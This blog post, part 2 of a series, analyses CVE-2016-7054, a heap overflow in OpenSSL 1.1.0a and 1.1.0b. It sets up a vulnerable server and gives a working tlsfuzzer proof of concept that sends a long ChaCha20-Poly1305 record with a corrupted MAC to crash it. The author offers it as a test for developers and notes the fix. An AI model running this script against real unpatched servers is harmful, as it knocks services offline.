Generating the Exploit for OpenSSL 1.1.0a, b CVE-2016-7054 Part 2/3

OpenSSL 1.1.0a, b Vulnerability

Continuing the previous post, now that we know what MACs are and how they work in the context of TLS protocol we can move further ahead and analyze OpenSSL 1.1.0a and 1.1.0b Heap Overflow vulnerability. To exploit this vulnerability (cve-2016-7054) we need to negotiate a ChaCha20-Poly1305 cipher suite with the server and send a message with a bad mac. Let us first setup the server that’s running OpenSSL 1.1.0a.

Setting Up OpenSSL 1.1.0a

We can download the desired version from https://www.openssl.org/source/old/1.1.0/, after decompressing the archive, we configure the package but since we don’t want it to overwrite our current installed version of OpenSSL, we configure it like this:

./config --prefix=/opt/openssl-1.1.0a --openssldir=/opt/openssl-1.1.0a

and then make & make install the package. We then run generate the certificates and keys and setup OpenSSL to listen for incoming TLS connections:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /opt/openssl-1.1.0a/cert.key -out /opt/openssl-1.1.0a/cert.crt
/opt/openssl-1.1.0a/bin/openssl s_server -cipher 'DHE-RSA-CHACHA20-POLY1305' -key /opt/openssl-1.1.0a/cert.key -cert /opt/openssl-1.1.0a/cert.crt -accept 443 -www -tls1_2 -msg

Connecting to the server using ChaCha20-Poly1305 with bad MAC

In order to do this, I searched for Network TLS Fuzzers available on the internet, there’s two famous python packages for this purpose:

1. Scapy-SSL_TLS (https://github.com/tintinweb/scapy-ssl_tls)

This package is built on top of Scapy and lets you build TLS messages in scapy’s fluent format. For example this code creates client key exchange and change cipher spec messages:

def tls_client_key_exchange(sock):
    client_key_exchange = TLSRecord(version=tls_version) / TLSHandshake() / sock.tls_ctx.get_client_kex_data()
    client_ccs = TLSRecord(version=tls_version) / TLSChangeCipherSpec()
    sock.sendall(TLS.from_records([client_key_exchange, client_ccs]))
    sock.sendall(to_raw(TLSFinished(), sock.tls_ctx))
    server_finished = sock.recvall()
    server_finished.show()

While this package is user friendly and easy to use, unfortunately it’s built on top of Python’s CryptoDomex package which does not support Poly1305 yet. So for our purpose we have to find another library.

2. TLSFuzzer (https://github.com/tomato42/tlsfuzzer)

This package is based on tlslite-ng package which handles TLS sockets and is written in python and it so happens to support ChaCha20-Poly1305 cipher suites. This sample piece of code fuzzes the mac part of TLS messages:

        conversation = Connect("localhost", 443)
        node = conversation
        ciphers = [CipherSuite.TLS_RSA_WITH_AES_128_CBC_SHA,
                   CipherSuite.TLS_EMPTY_RENEGOTIATION_INFO_SCSV]
        node = node.add_child(ClientHelloGenerator(ciphers))
        node = node.add_child(ExpectServerHello())
        node = node.add_child(ExpectCertificate())
        node = node.add_child(ExpectServerHelloDone())
        node = node.add_child(ClientKeyExchangeGenerator())
        node = node.add_child(ChangeCipherSpecGenerator())
        node = node.add_child(FinishedGenerator())
        node = node.add_child(ExpectChangeCipherSpec())
        node = node.add_child(ExpectFinished())
        node = node.add_child(fuzz_mac(ApplicationDataGenerator(
                                                        b"GET / HTTP/1.0\n\n"),
                                       xors={pos:val}))
        node = node.add_child(ExpectAlert(AlertLevel.fatal,
                                          AlertDescription.bad_record_mac))
        node = node.add_child(ExpectClose())

Exploiting the vulnerability

Using TLS Fuzzer and its fuzz_application_data functionality we can send a bad mac to our vulnerable OpenSSL instance (https://github.com/silverfoxy/tlsfuzzer/blob/master/scripts/test-cve-2016-7054.py).

    conversations = {}
    # 16 chars: POLY1305 tag 128 bit
    # Tampering the last bit suffices to damage the MAC
    # The payload has to be long enough to trigger heap overflow
    n = 15000
    fuzzes = [(-1, 1)]
    for pos, val in fuzzes:
        conversation = Connect(sys.argv[1], int(sys.argv[2]))
        node = conversation
        ciphers = [CipherSuite.TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256]
        node = node.add_child(ClientHelloGenerator(ciphers))
        node = node.add_child(ExpectServerHello())
        node = node.add_child(ExpectCertificate())
        node = node.add_child(ExpectServerKeyExchange())
        node = node.add_child(ExpectServerHelloDone())
        node = node.add_child(ClientKeyExchangeGenerator())
        node = node.add_child(ChangeCipherSpecGenerator())
        node = node.add_child(FinishedGenerator())
        node = node.add_child(ExpectChangeCipherSpec())
        node = node.add_child(ExpectFinished())
        node = node.add_child(fuzz_encrypted_message(
            ApplicationDataGenerator(b"GET / HTTP/1.0\n" + n * b"A" + b"\n\n"), xors={pos:val}))
        node = node.add_child(ExpectAlert(AlertLevel.fatal,
                                          AlertDescription.bad_record_mac))
        node = node.add_child(ExpectClose())

If the OpenSSL instance  is not vulnerable, it replies with bad_record_mac alert and closes the connection whereas a vulnerable instance crashes:

OpenSSL-Crash

I decided to provide this sample code for developer teams to be able to test their custom stacks and products against this vulnerability which may be based on or a fork of OpenSSL library. The fix was provided in OpenSSL 1.1.0c onwards by setting the “out” pointer to the beginning of ciphertext rather than its end. Updating fixes the issue. I have to point out that the impact is limited to Denial of Service only.